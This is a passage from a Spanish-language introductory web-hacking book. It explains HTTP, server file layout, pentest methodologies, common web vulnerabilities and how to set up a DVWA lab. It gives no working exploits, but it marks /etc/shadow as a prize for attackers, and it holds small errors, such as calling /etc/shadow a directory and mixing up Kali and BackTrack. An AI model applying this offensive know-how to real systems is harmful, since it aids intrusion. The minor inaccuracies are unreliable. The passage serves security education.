década para las redes y aplicaciones web.
No obstante, siguen existiendo numerosos ataques viables
dirigidos a servidores web y aplicaciones web, además de
aquellos que apuntan a los usuarios de la web. En este libro,
abordaremos cómo se llevan a cabo todos estos ataques, cómo
explotan el servidor web, la aplicación web y el usuario web
objetivo, y qué herramientas son necesarias para llevar a cabo
estas operaciones
Capítulo 7:
96
Bases de las
vulnerabilidades Y
Codigo HTTP
¿Que es una aplicacion WEB?
El término "aplicación web" tiene diferentes significados para
diferentes personas. Dependiendo de con quién hables y el
contexto, las personas usarán términos como aplicación web,
sitio web, sistema basado en la web, software basado en la web
o simplemente web, y todos pueden tener el mismo significado.
La amplia adopción de aplicaciones web hace que sea difícil
diferenciar claramente entre ellas y los sitios web de la
generación anterior que solo servían páginas HTML estáticas y
no interactivas. En este libro, usaremos el término
"aplicación web" para referirnos a cualquier software basado
en la web que realiza acciones (funcionalidades) basadas en la
entrada del usuario y generalmente interactúa con sistemas
internos. Cuando un usuario interactúa con un sitio web para
realizar una acción, como iniciar sesión, comprar o hacer
operaciones bancarias, se trata de una aplicación web.
Depender de las aplicaciones web para prácticamente todo lo
que hacemos crea una amplia superficie de ataque (puntos de
entrada potenciales) para los hackers web. Además, el hecho de
que las aplicaciones web sean codificadas a medida por un
programador humano aumenta la probabilidad de errores, ya que,
a pesar de las mejores intenciones, los humanos se aburren,
97
tienen hambre, se cansan, están resacosos o distraídos, lo que
puede introducir errores en la aplicación web en desarrollo.
Esto es como una tormenta perfecta para que los hackers
exploten estas aplicaciones web en las que confiamos tanto.
Algunos podrían asumir que una vulnerabilidad en una
aplicación web es simplemente un error humano que puede ser
corregido rápidamente por un programador. Nada podría estar
más lejos de la verdad: la mayoría de las vulnerabilidades no
se pueden solucionar fácilmente, ya que muchos defectos en las
aplicaciones web datan de las primeras fases del ciclo de
desarrollo de software. Para no adentrarnos en detalles
técnicos, basta con comprender que la seguridad es mucho más
fácil de abordar (y más rentable) cuando se considera desde el
principio en las fases de planificación y requisitos del
desarrollo de software. La seguridad debería seguir siendo una
fuerza impulsora a lo largo de todo el proyecto, desde el
diseño hasta la construcción, implementación y pruebas.
Sin embargo, lamentablemente, en muchas ocasiones, la
seguridad se trata como una idea posterior, lo que deja a las
aplicaciones web recién creadas plagadas de vulnerabilidades
que un hacker puede identificar y explotar para sus propios
fines maliciosos.
¿Que son los servidores WEB y como funcionan?
Un servidor web es una pieza de software que desempeña un
papel crucial en la infraestructura de internet. Este software
se ejecuta en un servidor, permitiendo que los usuarios se
conecten a través de la web para acceder a aplicaciones y
sitios web. Los servidores web más populares son el Internet
Information Services (IIS) en sistemas Windows y el Apache
Hypertext Transfer Protocol (HTTP) Server en sistemas Linux.
Al examinar la estructura de un servidor web, encontramos que,
por ejemplo, en un servidor con IIS en Windows, el proceso de
instalación típico conlleva la creación de un directorio
98
predeterminado en C:\Inetpub\wwwroot. Dentro de este
directorio raíz, cada aplicación web tiene su propio conjunto
de directorios, lo que les permite operar de manera
independiente. Aquí se alojan todos los recursos esenciales de
la aplicación web.
En el caso de un servidor Linux, la estructura de archivos es
más variada, pero en su mayoría, las aplicaciones web se
almacenan en el directorio /var/www/. Sin embargo, en un
servidor web Linux, hay otros directorios relevantes desde una
perspectiva de seguridad y hacking:
/etc/shadow: Este directorio guarda los hashes de contraseñas
de todos los usuarios del sistema, y su acceso es de alto
valor para los atacantes. Es como tener la "llave del reino"
en tus manos si puedes acceder a estos hashes.
/usr/lib: Aquí se encuentran archivos de objetos y binarios
internos que no están destinados a ser ejecutados por usuarios
o scripts de shell. También aloja datos de dependencias
utilizados por la aplicación. Manipular estos archivos puede
afectar negativamente el funcionamiento de la aplicación.
/var/*: Este directorio alberga archivos de bases de datos,
registros del sistema y, a veces, incluso el código fuente de
la aplicación web en sí. Representa un área crítica en la
infraestructura de un servidor web.
/bin: En este directorio se ubican programas esenciales para
el sistema operativo, como shells, comandos fundamentales (ls,
grep, etc.) y otros binarios vitales. Aquí residen las
herramientas básicas necesarias para el funcionamiento del
sistema. Cualquier modificación errónea en estos archivos
podría generar problemas significativos.
Un servidor web es a menudo un objetivo deseado para ataques
debido a la exposición de puertos y a la posibilidad de
acceder a versiones obsoletas o vulnerables del software del
99
servidor, así como a configuraciones erróneas del sistema
operativo. Como hacker ético, es esencial comprender esta
estructura y sus vulnerabilidades para mejorar la seguridad de
los servidores web y las aplicaciones. Estas son
consideraciones fundamentales antes de sumergirnos en las
técnicas de hacking web.
¿Que es HTTP y como funciona?
El HTTP es un protocolo de comunicación entre navegadores y
servidores web.
El HTTP es un protocolo de comunicación que permite a los
navegadores web solicitar información a los servidores web.
Es un protocolo completamente de texto plano, por lo que no
existe la suposición de seguridad o privacidad cuando se
utiliza HTTP.
El HTTP es un protocolo de texto plano, lo que significa que
los datos se envían sin cifrar. Esto hace que el protocolo sea
vulnerable a ataques de intermediarios.
El HTTP es en realidad un protocolo sin estado, por lo que
cada solicitud del cliente y respuesta de la aplicación web es
un evento nuevo e independiente sin conocimiento de ninguna
solicitud anterior.
El HTTP es un protocolo sin estado, lo que significa que cada
solicitud y respuesta es independiente. Esto puede dificultar
la realización de transacciones de varios pasos.
Sin embargo, es fundamental que la aplicación web mantenga un
registro de las solicitudes del cliente para poder completar
transacciones de varios pasos, como las compras en línea en
100
las que se añaden artículos al carrito de la compra, se
selecciona un método de envío y se introduce la información de
pago.
Las aplicaciones web utilizan sesiones para mantener un
registro de las solicitudes del cliente. Esto permite a las
aplicaciones web realizar transacciones de varios pasos.
El HTTP sin el uso de cookies requeriría que te volvieras a
conectar durante cada uno de estos pasos. Esto no es realista,
por lo que se creó el concepto de sesión, en el que la
aplicación realiza un seguimiento de tus solicitudes después
de que te conectas.
Las cookies son pequeños archivos que los sitios web colocan
en los navegadores de los usuarios. Las cookies se utilizan
para almacenar información sobre las sesiones de los usuarios.
Aunque las sesiones son una excelente forma de aumentar la
facilidad de uso de una aplicación web, también proporcionan
otro vector de ataque para las aplicaciones web.
Las sesiones pueden ser utilizadas por los atacantes para
realizar ataques de sesión.
El HTTP no fue creado originalmente para manejar el tipo de
transacciones web que requieren un alto grado de seguridad y
privacidad. Puedes inspeccionar todos los detalles escabrosos
de cómo funciona el HTTP con herramientas como Wireshark o
cualquier proxy HTTP local.
El HTTP no fue diseñado para aplicaciones web que requieren un
alto grado de seguridad.
El uso de HTTP seguro (HTTPS) hace poco para detener los tipos
101
de ataques que se tratarán en este libro. El HTTPS se consigue
cuando el HTTP se superpone al protocolo Secure Socket
Layer/Transport Layer Security (SSL/TLS), que añade la capa de
cifrado TLS de SSL/TLS a las solicitudes y respuestas HTTP
normales. Es el más adecuado para garantizar que los ataques
de intermediarios y de espionaje no tengan éxito; asegura una
"llamada privada" entre tu navegador y la aplicación web en
lugar de tener una conversación en una sala llena de gente
donde cualquiera puede escuchar tus secretos. Sin embargo, en
nuestro caso, HTTPS solo significa que vamos a comunicarnos
con la aplicación web a través de un canal de comunicación
cifrado para que sea una conversación privada. El cifrado
bidireccional del HTTPS no impedirá que la aplicación web en
espera procese nuestros ataques.
HTTPS es un protocolo de seguridad que cifra las
comunicaciones HTTP. HTTPS no es infalible, pero puede ayudar
a proteger las comunicaciones contra ataques.
Ciclo de HTTP
Una de las operaciones fundamentales más importantes de toda
aplicación web es el ciclo de solicitudes realizadas por los
navegadores de los clientes y las respuestas devueltas por el
servidor web. Es una premisa muy simple que ocurre muchas
veces al día. Un navegador envía una solicitud llena de
parámetros (variables) que contienen la entrada del usuario y
el servidor web envía una respuesta que está dictada por la
solicitud enviada. La aplicación web puede actuar en función
de los valores de los parámetros, por lo que son objetivos
principales para que los hackers los ataquen con valores de
parámetros maliciosos para explotar la aplicación web y el
servidor web.
El ciclo de HTTP es el proceso de comunicación entre
navegadores y servidores web. Los atacantes pueden utilizar el
ciclo de HTTP para explotar vulnerabilidades en las
aplicaciones web.
102
Encabezados HTTP de interés
Cada interacción HTTP incluye encabezados en la solicitud del
cliente y en la respuesta del servidor que proporcionan
información sobre la solicitud o respuesta. Solo nos interesan
algunos de estos encabezados que son más relevantes para
nuestro enfoque en este libro.
Los encabezados que nos interesan y que son establecidos por
el servidor web y enviados al navegador del cliente como parte
del ciclo de respuesta son:
Set-Cookie: Este encabezado proporciona el identificador de
sesión (cookie) al cliente para mantener la sesión del
usuario. Si un atacante puede robar la sesión de un usuario,
puede asumir la identidad del usuario.
Content-Length: El valor de este encabezado es la longitud del
cuerpo de respuesta en bytes. Este encabezado es útil para los
atacantes porque permite buscar variaciones en el número de
bytes de la respuesta para ayudar a descifrar la respuesta de
la aplicación a la entrada.
Location: Este encabezado se utiliza cuando una aplicación
redirige a un usuario a una nueva página. Esto es útil para un
atacante porque puede ayudar a identificar las páginas que
solo están permitidas después de la autenticación.
Los encabezados que debemos conocer mejor y que son enviados
por el navegador del cliente como parte de la solicitud web
son:
Cookie: Este encabezado envía la cookie (o varias cookies) de
vuelta al servidor para mantener la sesión del usuario. El
valor de este encabezado de cookie siempre debe coincidir con
el valor del encabezado set-cookie emitido por el servidor.
103
Esto es útil para los atacantes porque puede proporcionar una
sesión válida con la aplicación que se puede utilizar en
ataques contra otros usuarios.
Referer: Este encabezado lista la página web en la que se
encontraba el usuario anteriormente cuando se realizó la
siguiente solicitud web. Esto es útil para los atacantes
porque este valor se puede cambiar fácilmente. Por lo tanto,
si la aplicación depende de este encabezado para la seguridad,
se puede eludir fácilmente con un valor falsificado.
Códigos de estado HTTP destacados
A medida que se reciben las respuestas del servidor web en el
navegador, estas incluyen un código de estado para indicar el
tipo de respuesta. Existen más de 50 códigos de respuesta HTTP
numéricos agrupados en cinco familias que proporcionan un tipo
similar de códigos de estado. Conocer lo que representa cada
familia de respuestas permite comprender cómo se procesó la
entrada por la aplicación.
100s: Estas respuestas son puramente informativas del servidor
web y generalmente significan que se esperan respuestas
adicionales del servidor web. Estas son raramente vistas en
respuestas de servidores web modernos y generalmente están
seguidas de cerca por otro tipo de respuesta introducido a
continuación.
200s: Estas respuestas señalan que la solicitud del cliente
fue aceptada y procesada con éxito por el servidor web, y la
respuesta se ha enviado de vuelta al navegador. El código de
estado HTTP más común es 200 OK.
300s: Estas respuestas se utilizan para señalar redirecciones
donde se enviarán respuestas adicionales al cliente. La
implementación más común de esto es redirigir el navegador del
usuario a una página segura después de la autenticación. Esto
sería en realidad un redireccionamiento 302 para enviar otra
104
respuesta que se entregará con un código 200 OK.
400s: Estas respuestas se utilizan para señalar un error en la
solicitud del cliente. Esto significa que el usuario ha
enviado una solicitud que no puede ser procesada por la
aplicación web, por lo que se devuelve uno de estos códigos de
estado comunes: 401 Unauthorized, 403 Forbidden y 404 Not
Found.
500s: Estas respuestas se utilizan para señalar un error en el
lado del servidor. Los códigos de estado más comunes
utilizados en esta familia son el 500 Internal Server Error y
el 503 Service Unavailable.
Los Fundamentos del Ataque a Sistemas Informáticos
Nuestro enfoque consta de cuatro fases que cubren todas las
tareas necesarias durante un ataque.
Inteligencia.
Recopilación.
Aprovechamiento.
Mitigación.
Es apropiado introducir y discutir cómo estas vulnerabilidades
y ataques pueden mitigarse, por lo que existe una fase de
mitigación en nuestro enfoque. Como atacante o experto en
seguridad, recibirás varias preguntas después del hecho
relacionadas con cómo se pueden solucionar las
vulnerabilidades descubiertas. Considera la inclusión de la
fase de mitigación como un recurso para ayudar a responder
esas preguntas.
Nuestros Objetivos
105
Nuestro enfoque se dirige a tres vectores de ataque separados
pero relacionados: el sistema informático, la aplicación
informática y el usuario informático. Para los fines de este
libro, definiremos cada uno de estos vectores de ataque de la
siguiente manera:
Sistema informático: el hardware y el software que ejecuta la
aplicación informática. El sistema informático puede ser
vulnerable a intentos de hacking de red que apuntan a los
servicios que se ejecutan en el sistema informático para
obtener acceso no autorizado a la estructura de archivos y
archivos del sistema informático.
Aplicación informática: el código fuente real que se ejecuta
en el sistema informático y que proporciona la funcionalidad
con la que interactúan los usuarios informáticos es el
objetivo más popular para los atacantes informáticos. La
aplicación informática puede ser susceptible a una amplia
colección de ataques que intentan realizar acciones no
autorizadas dentro de la aplicación informática.
Usuario informático: los usuarios internos que administran la
aplicación informática (administradores y programadores) y los
usuarios externos (clientes o usuarios humanos) de las
aplicaciones informáticas son objetivos dignos de ataques.
Aquí es donde las vulnerabilidades de scripts entre sitios
(XSS) o de falsificación de solicitudes entre sitios (CSRF) en
la aplicación informática hacen su aparición. También son
aplicables los ataques técnicos de ingeniería social que
apuntan a los usuarios informáticos y que no dependen de
vulnerabilidades existentes en la aplicación informática.
Las vulnerabilidades, exploits y payloads son únicos para cada
uno de estos objetivos, por lo que se necesitan herramientas y
técnicas específicas para atacar eficientemente a cada uno de
ellos.
Las Aplicaciones Web Afectan a Todos los Aspectos de la
106
Tecnología de la Información
Otro dato emocionante para los hackers web es el hecho de que
las aplicaciones web interactúan con prácticamente todos los
sistemas principales en la infraestructura de una empresa. Es
común pensar que la aplicación web es simplemente algún código
que se ejecuta en un servidor web, resguardado de manera
segura en una zona desmilitarizada externa, incapaz de causar
daños internos graves a una empresa. Sin embargo, existen
diversas áreas adicionales en una infraestructura de TI
tradicional que deben considerarse para apuntar plenamente a
un sistema para un ataque, ya que el alcance de una aplicación
web es mucho más amplio que el código desarrollado por un
programador. Los siguientes componentes también deben
considerarse como posibles vectores de ataque:
Servidor de bases de datos y base de datos: el sistema que
aloja la base de datos que utiliza la aplicación web puede ser
vulnerable a ataques que permiten la creación, lectura,
actualización o eliminación de datos sensibles (CRUD).
Servidor de archivos: el sistema, a menudo una unidad de
almacenamiento en red en un servidor web, que permite la
funcionalidad de carga y/o descarga de archivos puede ser
vulnerable a ataques que permiten el acceso a recursos del
servidor por parte de un atacante no autorizado.
Componentes de terceros listos para usar: los módulos de
código, como sistemas de gestión de contenido (CMS), son
definitivamente un objetivo debido a la amplia adopción y la
documentación disponible de estos sistemas.
Metodologías de Ataque Existentes
Varias metodologías de ataque ofrecen los procedimientos,
etapas, herramientas y técnicas considerados como prácticas
recomendadas. En el contexto de hackers éticos, estas
actividades se conocen como pruebas de penetración, pero es
107
evidente que son esencialmente las mismas actividades que
realizan los hackers maliciosos. Las dos metodologías de
pruebas de penetración más ampliamente aceptadas en la
actualidad son el Manual de Metodología de Pruebas de
Seguridad de Código Abierto (OSSTM) y el Estándar de Ejecución
de Pruebas de Penetración (PTES).
El Manual de Metodología de Pruebas de Seguridad de Código
Abierto (OSSTM)
El OSSTM se creó mediante un proceso de revisión entre pares
que generó casos de prueba para evaluar cinco secciones:
Controles de información y datos
Niveles de concienciación en seguridad del personal
Niveles de fraude y manipulación social
Redes informáticas y de telecomunicaciones, dispositivos
inalámbricos y móviles
Controles de acceso de seguridad física, procesos de seguridad
y ubicaciones físicas
El OSSTM evalúa los detalles técnicos de cada una de estas
áreas y proporciona orientación sobre qué hacer antes, durante
y después de una evaluación de seguridad.
El nuevo participante en el escenario es definitivamente el
PTES, que es un nuevo estándar destinado a proporcionar un
lenguaje común para que todos los probadores de penetración y
profesionales de evaluación de seguridad lo sigan. El PTES
proporciona a un cliente una línea de base de su propia
108
postura de seguridad, de modo que estén en una mejor posición
para dar sentido a los hallazgos de las pruebas de
penetración. El PTES está diseñado como un mínimo que debe
completarse como parte de una prueba de penetración integral.
El estándar contiene muchos niveles diferentes de servicios
que deben formar parte de las pruebas de penetración
avanzadas.
Comprendiendo las Metodologías Existentes
Debido a los procesos detallados, esos estándares son bastante
abrumadores de asimilar para un hacker novato. Ambos
estándares básicamente cubren todos los aspectos posibles de
las pruebas de seguridad, y hacen un excelente trabajo. Un
gran número de personas inteligentes y talentosas ha dedicado
innumerables horas para crear estándares que los probadores de
penetración y los hackers deben seguir. Sus esfuerzos son sin
duda loables, pero para los hackers principiantes, esto puede
resultar en una sobrecarga sensorial. ¿Cómo vas a considerar
el pirateo de una red inalámbrica cuando quizás ni siquiera
comprendas el hacking básico de redes para empezar? ¿Cómo vas
a piratear un dispositivo móvil que accede a una versión móvil
de una aplicación web cuando quizás no te sientas cómodo con
cómo las aplicaciones web dinámicas extraen y utilizan datos
de una base de datos? Lo que se necesita es simplificar toda
la gran cantidad de información en estándares como el OSSTM y
el PTES en una metodología más manejable para que los hackers
principiantes no se sientan abrumados. Ese es precisamente el
objetivo de este libro. ¡Brindarte la orientación necesaria
para comenzar con la teoría, las herramientas y las técnicas
del hacking web!
Vulnerabilidades Web Más Comunes
Nuestros objetivos serán explotados mediante la explotación de
vulnerabilidades bien comprendidas. Aunque existen varias
otras vulnerabilidades relacionadas con la web, nos
centraremos en estas a medida que avancemos en los capítulos.
109
Capítulo 8:
Introducción a una
sesión de ataques y
detecciones de
vulnerabilidades
existentes
Inyección
Las vulnerabilidades de inyección ocurren cuando datos de
usuario no confiables se envían a la aplicación web como parte
de un comando o consulta. Los datos hostiles del atacante
pueden engañar a la aplicación web para que ejecute comandos
no deseados o acceda a datos no autorizados. La inyección se
110
produce cuando un hacker introduce datos maliciosos en la
aplicación web, que luego se procesan de manera insegura. Este
es uno de los ataques más antiguos contra las aplicaciones
web, pero sigue siendo el rey de las vulnerabilidades porque
todavía es amplio y muy perjudicial.
Las vulnerabilidades de inyección pueden aparecer en todo tipo
de lugares dentro de la aplicación web que permiten al usuario
proporcionar datos maliciosos. Algunos de los ataques de
inyección más comunes apuntan a la siguiente funcionalidad:
■ Consultas de lenguaje de consulta estructurado (SQL)
■ Consultas de protocolo ligero de acceso a directorios (LDAP)
■ Consultas de lenguaje de ruta XML (XPATH)
■ Comandos del sistema operativo (SO)
Cada vez que la entrada del usuario es aceptada por la
aplicación web y procesada sin la sanitización adecuada, puede
ocurrir una inyección. Esto significa que el hacker puede
influir en cómo se construyen las consultas y comandos de la
aplicación web y qué datos deben incluirse en los resultados.
¡Este es un exploit muy poderoso!
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) ocurre cuando la entrada del
usuario es aceptada por la aplicación como parte de una
solicitud y luego se utiliza en la salida de la respuesta sin
una codificación de salida adecuada para validación y
sanitización. XSS permite a los atacantes ejecutar scripts en
el navegador de la víctima, lo que puede secuestrar sesiones
de usuario, actuar como un keylogger, redirigir al usuario a
sitios maliciosos o cualquier otra acción que un hacker pueda
imaginar. Un hacker puede inyectar scripts maliciosos (a
menudo JavaScript, pero también podría ser VBScript) que luego
se representan en el navegador de la víctima. Debido a que
111
este script es parte de la respuesta de la aplicación, el
navegador de la víctima confía en él y permite que se ejecute.
XSS tiene dos "sabores" principales: reflejado y almacenado.
El XSS reflejado es mucho más común en las aplicaciones web y
se considera menos perjudicial. La razón por la que se
considera que el XSS reflejado es menos perjudicial no se debe
a lo que puede hacer, sino porque es un ataque único en el que
la carga útil enviada en un ataque XSS reflejado solo es
válida en esa solicitud. Piensa en el XSS reflejado como "el
que hace clic, lo obtiene". Cualquier usuario que haga clic en
el enlace que contiene el script malicioso será la única
persona directamente afectada por este ataque. Generalmente,
es una relación de 1:1 entre el hacker y la víctima. El hacker
puede enviar la misma URL maliciosa a millones de posibles
víctimas, pero solo las que hagan clic en su enlace se verán
afectadas y no hay conexión entre los usuarios comprometidos.
El XSS almacenado es más difícil de encontrar en las
aplicaciones web, pero es mucho más perjudicial porque
persiste a lo largo de múltiples solicitudes y puede explotar
a numerosos usuarios con un solo ataque. Esto ocurre cuando un
hacker es capaz de inyectar el script malicioso en la
aplicación y hacer que esté disponible para todos los usuarios
que la visitan. Puede colocarse en una base de datos que se
utiliza para poblar una página web o en un foro de usuarios
que muestra mensajes o cualquier otro mecanismo que almacena
entradas. A medida que los usuarios legítimos solicitan la
página, el exploit XSS se ejecutará en cada uno de sus
navegadores. Esto es una relación de 1:many entre el hacker y
las víctimas.
Ambos tipos de XSS tienen las mismas cargas útiles;
simplemente se entregan de diferentes maneras.
Identificación y Gestión de Sesiones Vulnerables
Las sesiones son identificadores únicos que se asignan a los
usuarios después de autenticarse y tienen muchas
112
vulnerabilidades o ataques asociados con la forma en que estas
identificaciones son utilizadas por la aplicación web. Las
sesiones también son un componente clave para hackear al
usuario web. Las funciones de la aplicación relacionadas con
la autenticación y la gestión de sesiones a menudo no se
implementan correctamente, lo que permite a los atacantes
comprometer contraseñas, claves, tokens de sesión o explotar
otras deficiencias en la implementación para asumir la
identidad de otros usuarios. La funcionalidad de la aplicación
web que está bajo el paraguas de la autenticación también
incluye restablecimiento de contraseñas, cambio de contraseñas
y recuperación de cuentas, por nombrar algunas.
Una aplicación web utiliza la gestión de sesiones para llevar
un registro de las solicitudes de cada usuario. Sin la gestión
de sesiones, tendrías que iniciar sesión después de cada
solicitud que realices. Imagina iniciar sesión después de
buscar un producto, luego nuevamente cuando quieras agregarlo
a tu carrito de compras, luego nuevamente cuando quieras pagar
y, finalmente, otra vez cuando quieras proporcionar tu
información de pago. Así que se creó la gestión de sesiones
para que los usuarios solo tengan que iniciar sesión una vez
por visita, y la aplicación web recordaría qué usuario ha
agregado qué productos al carrito de compras. La mala noticia
es que la autenticación y la gestión de sesiones son
consideradas como una reflexión posterior en comparación con
la Internet original. No había necesidad de autenticación y
gestión de sesiones cuando no había compras ni pagos de
facturas. Por lo tanto, la Internet tal como la conocemos
actualmente se ha torcido y retorcido para hacer uso de la
autenticación y la gestión de sesiones.
Solicitud Falsificada de Sitio Cruzado (CSRF)
La CSRF ocurre cuando un hacker es capaz de enviar una
solicitud bien elaborada pero maliciosa a un usuario
autenticado que incluye los parámetros necesarios (variables)
para completar una solicitud de aplicación válida sin que la
víctima (usuario) lo note.
Esto es similar al XSS reflejado en el sentido de que el
113
hacker debe persuadir a la víctima para que realice alguna
acción en la aplicación web. El script malicioso aún puede
ejecutarse en el navegador de la víctima, pero la CSRF también
puede realizar una solicitud válida a la aplicación web.
Algunos resultados de la CSRF incluyen cambiar una contraseña,
crear un nuevo usuario o generar contenido de la aplicación
web a través de un sistema de gestión de contenidos (CMS).
Siempre y cuando el hacker conozca exactamente qué parámetros
son necesarios para completar la solicitud y la víctima esté
autenticada en la aplicación, la solicitud se ejecutará como
si el usuario la hubiera realizado intencionadamente.
Configuración de Seguridad Incorrecta
Esta categoría de vulnerabilidad se refiere específicamente a
la seguridad (o la falta de ella) de toda la pila de la
aplicación. Para aquellos que no estén familiarizados con el
término "pila de la aplicación", se refiere al sistema
operativo, el servidor web y los sistemas de gestión de bases
de datos que ejecutan y son accedidos por el código real de la
aplicación web. El riesgo se vuelve aún más problemático
cuando no se siguen las prácticas de fortalecimiento de la
seguridad para proteger mejor el servidor web contra accesos
no autorizados. Ejemplos de vulnerabilidades que pueden
afectar al servidor web incluyen:
Software obsoleto o innecesario.
Servicios innecesarios habilitados.
Políticas de cuentas inseguras.
Mensajes de error detallados.
Una seguridad efectiva requiere tener una configuración segura
definida e implementada para la aplicación, los marcos, el
servidor de aplicaciones, el servidor web, el servidor de
bases de datos y el sistema operativo. Todos estos ajustes
deben definirse, implementarse y mantenerse, ya que muchos de
ellos no se envían con valores seguros de forma
predeterminada. Esto incluye mantener todo el software
114
actualizado, incluidas todas las bibliotecas de código
utilizadas por la aplicación.
Configuración de un Entorno de Pruebas
Antes de adentrarte en las herramientas y técnicas cubiertas
en el libro, es importante que establezcas un entorno seguro
para su uso. Dado que este es un libro introductorio práctico,
practicaremos todas las técnicas que cubrimos en una
aplicación web vulnerable. Hay tres requisitos principales que
debes considerar al configurar un entorno de pruebas a medida
que avanzas en el libro.
Dado que estarás alojando esta aplicación web vulnerable en tu
propia computadora, es fundamental que la configuremos de
manera que no la expongas a posibles ataques.
Usarás herramientas de hacking que no están autorizadas para
su uso fuera de tu ámbito personal, por lo que es igualmente
crucial contar con un entorno que no permita que estas
herramientas se escapen involuntariamente.
A medida que avances en el libro, es probable que "rompas" la
aplicación web o el servidor web, por lo que es crucial contar
con un entorno que puedas configurar fácilmente desde cero y
volver a un estado en el que todo esté correctamente
configurado.
Existen innumerables formas de configurar y diseñar dicho
entorno, pero durante la duración de este libro, utilizaremos
máquinas virtuales. Una máquina virtual (VM), cuando se
configura correctamente, cumple con los tres requisitos de
nuestro entorno de pruebas. Una máquina virtual es,
simplemente, una implementación de software de un entorno
informático que se ejecuta en otra computadora (host). La VM
solicita recursos, como ciclos de procesamiento y memoria RAM,
al ordenador host, lo que permite que la VM se comporte de la
misma manera que los sistemas operativos instalados de forma
115
tradicional. Sin embargo, una VM se puede apagar, mover,
restaurar, revertir y eliminar con facilidad en cuestión de
unos pocos clics. Además, puedes ejecutar varias VM diferentes
al mismo tiempo, lo que te permite crear una red virtualizada
de VM que se ejecutan en tu único ordenador host. Estos
factores hacen que un entorno de pruebas virtualizado sea la
elección clara para nosotros.
Aunque tienes muchas opciones cuando se trata de software de
virtualización, en este libro utilizaremos VirtualBox,
disponible de forma gratuita en [Link]
Debido a su popularidad, hay muchas máquinas virtuales
preconfiguradas que podemos utilizar. Tener sistemas ya en su
lugar ahorra tiempo durante la configuración y te permite
adentrarte en el material real de hacking web de manera más
rápida y sencilla.
Si VirtualBox no es tu solución preferida, siéntete libre de
utilizar cualquier producto de virtualización con el que te
sientas cómodo. El proveedor y el producto exactos no son tan
importantes como la capacidad de configurar, diseñar y
ejecutar los sistemas virtualizados necesarios.
En este libro, trabajaremos en una máquina virtual que se
utilizará tanto para alojar la aplicación web vulnerable
(objetivo) como para albergar todas nuestras herramientas de
hacking (atacante). Utilizaremos Kali Linux para esta máquina
virtual y está disponible para su descarga en el sitio web
oficial.
Sitio web de Kali Linux, ubicado en
[Link] Hoy en día, Kali Linux es
ampliamente reconocido como el sistema operativo orientado a
la seguridad por excelencia. Siempre existen esfuerzos para
actualizar y mejorar el entorno de pruebas de los hackers, y
el reciente lanzamiento de Kali Linux seguramente ganará una
gran popularidad. Sin embargo, nos ceñiremos a BackTrack a lo
largo del libro. BackTrack incluye cientos de herramientas de
grado profesional para la realización de hacking,
reconocimiento, análisis forense digital, fuzzing, caza de
bugs, explotación y muchas otras técnicas de hacking. Las
116
herramientas y comandos necesarios en BackTrack aplicables a
nuestro enfoque se cubrirán en gran detalle a medida que se
introduzcan.
Aplicación web de destino
Damn Vulnerable Web Application (DVWA) se utilizará como la
aplicación web de destino y se puede investigar más en su
página de inicio en [Link] DVWA es una
aplicación web PHP/MySQL diseñada para ser vulnerable a
propósito, lo que ayuda a los profesionales de la seguridad a
poner a prueba sus habilidades y herramientas en un entorno
seguro y legal. También se utiliza para ayudar a los
desarrolladores web a comprender mejor los procesos de
seguridad de las aplicaciones web. Sin embargo, DVWA no está
disponible nativamente como una máquina virtual (VM), por lo
que tendrías que crear tu propia VM y luego configurar DVWA
para que se ejecute dentro de esta nueva VM. Si eso te
interesa, las instrucciones de instalación y los archivos
necesarios para descargar están disponibles en el sitio web de
DVWA.
Para nuestros fines, accederemos a DVWA haciendo que se
ejecute localmente en la VM de BackTrack a través de
[Link] o la dirección IP [Link]. Alojaremos tanto
nuestra aplicación de destino (DVWA) como las herramientas de
hacking en nuestra VM de BackTrack. Esto significa que tendrás
todo lo que necesitas en una sola VM y utilizarás menos
recursos del sistema.
Para instalar la aplicación web de destino
Con el fin de configurar nuestro entorno de hacking seguro,
primero debemos descargar una máquina virtual de BackTrack y
configurarla para alojar la aplicación web de destino DVWA.
Los siguientes pasos preparan la máquina virtual de BackTrack
para la instalación de DVWA.
117
Descarga una máquina virtual de BackTrack desde
[Link]
Extrae el archivo .7z de la máquina virtual de BackTrack.
Inicia la máquina virtual de BackTrack haciendo doble clic en
el archivo .vmx en la carpeta de BackTrack. Si se te solicita,
selecciona "I copied it" y luego "OK".
Inicia sesión en BackTrack con el usuario root y la contraseña
toor.
Utiliza el comando startx para iniciar la interfaz de usuario
gráfica (GUI) de BackTrack.
Abre una terminal haciendo clic en el icono de Terminal en la
esquina superior izquierda de la pantalla. Es el que se
asemeja a una pantalla de computadora con > _ en ella, como se
muestra en la Figura 1.1. Aquí es donde introduciremos
comandos (instrucciones) para una variedad de herramientas de
BackTrack.
Una vez que hayas iniciado sesión con éxito en BackTrack,
sigue estos pasos para instalar DVWA como la aplicación de
destino. Esto requerirá una conexión a Internet activa, así
que asegúrate de que tu máquina anfitriona pueda navegar por
Internet abriendo un navegador Firefox para comprobar la
conectividad.
Nota: Si tienes problemas para que la máquina virtual (VM)
utilice la conexión a Internet de la máquina anfitriona,
verifica la configuración del adaptador de red de tu VM en
VMPlayer si es necesario. Estamos utilizando la configuración
de red NAT.
118
Abre Firefox en tu VM de BackTrack navegando a
[Link]
[Link] desde Aplicaciones y luego Internet.
Esto te permitirá ver el script de instalación de DVWA creado
por el equipo de TheUnl33t. También encontrarás un enlace a
este script más adelante en el capítulo para tu referencia.
Selecciona y copia todo el script, comenzando con #/bin/bash y
terminando con la última línea que dice "DVWA Install
Finished!\n".
Abre el editor de texto gedit en BackTrack haciendo clic en
Aplicaciones y luego en Accesorios.
Pega el script y guarda el archivo como DVWA_install.sh en el
directorio raíz, como se muestra en la Figura 1.2.
Cierra gedit y Firefox.
Abre una terminal y ejecuta el comando ls para verificar que
el script se encuentra en el directorio raíz.
Ejecuta el script de instalación ejecutando el comando sh
DVWA_install.sh en una terminal. El progreso de la instalación
se mostrará en la terminal y se abrirá una ventana del
navegador a la página de inicio de sesión de DVWA cuando se
complete satisfactoriamente.
Configuración de la aplicación web de destino
Una vez que DVWA se ha instalado correctamente, sigue estos
pasos para iniciar sesión y personalizar la aplicación web:
119
Inicia sesión en DVWA con el nombre de usuario admin y la
contraseña password, como se muestra en la Figura 1.3.
Alerta: La URL es [Link] (esto es localhost; el servidor
web se está ejecutando directamente en BackTrack).
2. Haz clic en el botón de opciones en la esquina inferior
derecha de Firefox si se te solicita acerca de un script
potencialmente malicioso. Recuerda que DVWA es vulnerable a
propósito, por lo que debemos permitir que los scripts se
ejecuten.
Haz clic en "Permitir [Link]" para que los scripts puedan
